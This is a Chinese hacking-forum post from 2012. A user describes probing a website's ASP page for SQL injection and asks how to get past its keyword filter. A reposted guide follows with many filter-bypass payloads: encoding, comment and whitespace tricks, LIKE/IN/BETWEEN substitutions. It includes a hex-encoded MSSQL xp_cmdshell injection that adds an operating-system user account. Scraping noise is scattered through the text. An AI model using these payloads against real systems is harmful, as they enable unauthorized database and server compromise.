找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2051|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
路过这个网站,检测了一下.
; p- u+ s5 b6 R9 b% A. l7 Fhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
1 m3 r3 B6 C, {7 S0 c9 \直接返回主页" M5 o2 b: ]* x1 K
http://www.xxx.cn/Article.asp?ID=117 or 1=16 v  O- |. P$ q! O9 x' [
直接返回主页
7 @" F; ]7 b* B" f, shttp://www.xxx.cn/Article.asp?ID=117 or- b& C1 T: g; D6 |0 m
没有返回主页 没有过滤or
( ?4 k6 B8 h% _, z: s. fhttp://www.xxx.cn/Article.asp?ID=117 and
! g( Z4 ^' s4 M" `4 H直接返回主页 看来过滤了and
, e; d, ~3 b5 W5 ghttp://www.xxx.cn/Article.asp?ID=117 or 10 o1 F) ]8 V3 }& P# Y
没有返回主页 即没有过滤or 也没有过滤1, k) O) d0 w6 S
http://www.xxx.cn/Article.asp?ID=117 or 1=1
4 c$ m5 ~! C5 A$ K/ l$ E5 f直接返回主页 很明显过滤了等号
. I; }4 U+ F) mor的特性是与and相反的.0 a( z9 I% d' ]" z' U7 o
or 1=1 爆错 或与原页面不同3 _3 @7 s; h1 P5 U; v2 T3 K
or 1=2 原页面相同+ D! S  [0 d  b, C2 D- {
这样就是一个注入点2 t( [! D1 T/ y3 l+ O
但他过滤了=号 我就用><号代替=号吧!
* ]7 ]: B! T" s+ d" e* R; V. _or 1<2 很明显是正确的,所以应该与原页面不同
# g3 K. t% ~/ por 1>2 很明显是错误的,所以应该与原页面相同" ]0 ]. D( h& T4 C$ C
然后看看有没有过滤其他的查询语句,比如select.
7 b8 a7 \: J- ^( ?2 l' M. Mhttp://www.xxx.cn/Article.asp?ID=117 select6 @* [& A/ s0 A3 a! e
直接返回主页# _* J- @# e1 ^8 u1 T+ h
又迷茫了..' `+ x% ^- ]/ L  y! w
9 f% {' O) |* _, \0 I$ Q

  ?% m1 c# |7 V4 H" Ucookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
" \. q- ]( ^4 B0 W; Q! |5 m6 y这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
! c4 a) n. x( @$ i' R$ E% p================================================5 I6 g2 }- \. N0 u
以下是转贴:
6 @7 x) l8 N: ~( g8 v; D8 f7 j# F+ D/ s
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 2 D5 t3 h' n4 z2 e
经过我的收集,大部分的防注入程序都过滤了以下关键字: : F* j3 a7 v3 U* t1 K, f5 `, x
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = $ R* M2 T- ^' b! J$ m
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 1 H0 |( p9 U* R  z( m! T
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
) @3 c  N2 e2 t7 S0 o1、运用编码技术绕过   L: ?& D5 p5 \/ P
如URLEncode编码,ASCII编码绕过。例如or 1=1即 + c" W; q5 e7 T
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
* I* `: s9 j4 f8 v
* L# }1 @0 P2 Z/ D# z1 ]% m2、通过空格绕过 ( d! _/ M$ G4 \( h6 w9 f9 S1 |
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
3 Q0 H: c* G% Y, gor’ swords’ =‘swords’
$ P8 S0 ^3 D6 J,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
/ b6 S+ `+ ~6 M2 b0 N' N3、运用字符串判断代替
0 J5 P- W: G# q" h3 e用经典的or 1=1判断绕过,如 ' o; x  {/ i/ m. J6 K# Q! m0 R
or ’swords’ =’swords’ " ?3 }. C. z. a$ _: t
,这个方法就是网上在讨论的。
! P) F: N. Y  D( J4、通过类型转换修饰符N绕过
, Q$ |; e% \$ Q  h8 N. _可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
" p4 \3 q2 V1 P: \) _- a5 X# |5、通过+号拆解字符串绕过
; }. M+ M9 |1 l- |' H: g. }效果值得考证,但毕竟是一种方法。如
( ~% R8 A' D/ Y' n* d- {; B# k6 a% G2 ^or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) $ X( N; U6 H  X8 g9 C

1 s6 [( ^% X* D, V, @9 E6、通过LIKE绕过
" _' O1 d: x& d9 @. Q. x5 Z9 [9 N, F以前怎么就没想到呢?如or
) D& U. E0 A1 r3 M/ q& I% X: o9 s’swords’ LIKE ’sw’
: \- V' E* F% _( R3 U2 T!!!显然可以很轻松的绕过 & o. t3 R1 L  [* K2 [, B+ w$ J8 a( E
“=”“>” ! ?0 R$ f& w4 x+ y  k
的限制…… . H, L8 K$ N  n* B+ r/ N3 v
7、通过IN绕过
% I9 n2 P) i, O& _% F0 n与上面的LIKE的思路差不多,如
, d5 q5 s" c/ Bor ’swords’ IN (’swords’) 2 N( L, o" F; v6 V( l1 P7 _
2 I. ]' ?; J% h
8、通过BETWEEN绕过 & g- C8 {. V+ i
" a/ F: V' H9 u/ m% x1 \+ Z3 W, N6 R
or ’swords’ BETWEEN ’rw’ AND ’tw’ & |3 T" l. A" \4 Y  `/ L

# a2 Q' P  M& w' ?9、通过>或者<绕过 " b0 L' E% U4 G- n' k
or ’swords’ > ’sw’
# O$ T3 w1 B6 }: h4 n" x1 n* l; ior ’swords’ < ’tw’
5 ?/ A1 K( v! H. Q; h5 d$ Jor 1<3   a1 [+ i) i5 N1 V3 d# D( z2 [- D' o0 s
……
, b" C$ q0 f4 A8 {0 ^- V. {) l4 K& }10、运用注释语句绕过 . i' Y3 N1 k; c  d
用/**/代替空格,如: 0 j: S8 q- N, y; [
UNION /**/ Select /**/user,pwd,from tbluser
1 F! O; |4 @0 a' f: R" J" l. g% y( ?/ O3 Z5 q3 V/ P
用/**/分割敏感词,如:
% j1 u! `7 a- M6 bU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
; D  Y- Y. N4 ]" x& Y9 o5 ?' Q( F/ w0 X; d: K/ X1 `  \0 p  m* f
11、用HEX绕过,一般的IDS都无法检测出来 ; q) T* i, a& {* F
0x730079007300610064006D0069006E00 =hex(sysadmin) ) N. N6 q% \6 O# ~2 O
0x640062005F006F0077006E0065007200 =hex(db_owner) / D5 H; m. N7 K: S$ C
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 9 I" h# j$ P! N
  declare @a sysname
$ p1 N& K8 b1 Y3 Y) y/ u3 z  select @a=
$ S3 m; a# u/ ^2 Z' ^8 F  exec master.dbo.xp_cmdshell @a
8 i. H3 `5 s/ o+ c效果 6 f) B1 c3 n: R$ {
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- . b: c0 N/ i& S# e: ?7 {; Z9 U
& u0 P, t4 x* k! I& ]' P# r9 F
其中的 5 V$ f# O6 |4 c4 h7 V) |9 V
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 5 p" ~) z3 T5 |- g- X/ V# c( A
就是
- r* }0 _$ g/ r* @9 L$ C“net user angel pass /add”6 \1 F$ U; o% ~# {

) o. X7 X9 b% `7 S" m一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。6 j+ _; Y- \1 y& t$ D. `8 a
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。( m1 n# v3 j0 S8 h
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似. k9 z( M4 I; Q. W6 v8 L$ ^
Copy code: J" I; S! O2 g
select * from table exec xp_cmdshell'xxxxxxxxxx'$ T( O0 b, v! G
) o& Q* O2 @+ P: k

! E" D1 l5 w9 f% _: Yselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
5 X' i$ J- `  y8 o+ D, s& A1 r+ P/ h8 U5 s' ~' h, t

# }/ M( [! d2 U$ G& nselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'8 i# _  {6 u" K. \5 _

# |) X2 v$ B& R  @. @- O4 j+ M2 g5 f! F( a7 a7 I/ ^
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
2 E4 }! M2 ]' }% _) M, b% U" m/ G5 e) U
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
& D: p# A) o: r% x- E: E, q- k5 |- _; Y" V3 s
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
0 h* `. _! x& |; D8 {& |' O# y可能大家早就知道了,不管怎么说,发在这里吧!; x3 j) u; C. Q* v8 H  Y8 k  H
* a+ C7 \1 Y( B1 B
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
) K4 k% P- l. U4 U
; X5 ^% A! }. a" W8 B- p. }' H: [2 J; J' \: T1 l$ a  B1 N
% S' [2 T, w4 ?. s# q6 K) o  D
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
- }$ f1 u8 C( |) n0 z0 x比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
& ~+ q: L% n& B3 R7 J. \  @' a$ H) j6 i* e! e5 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表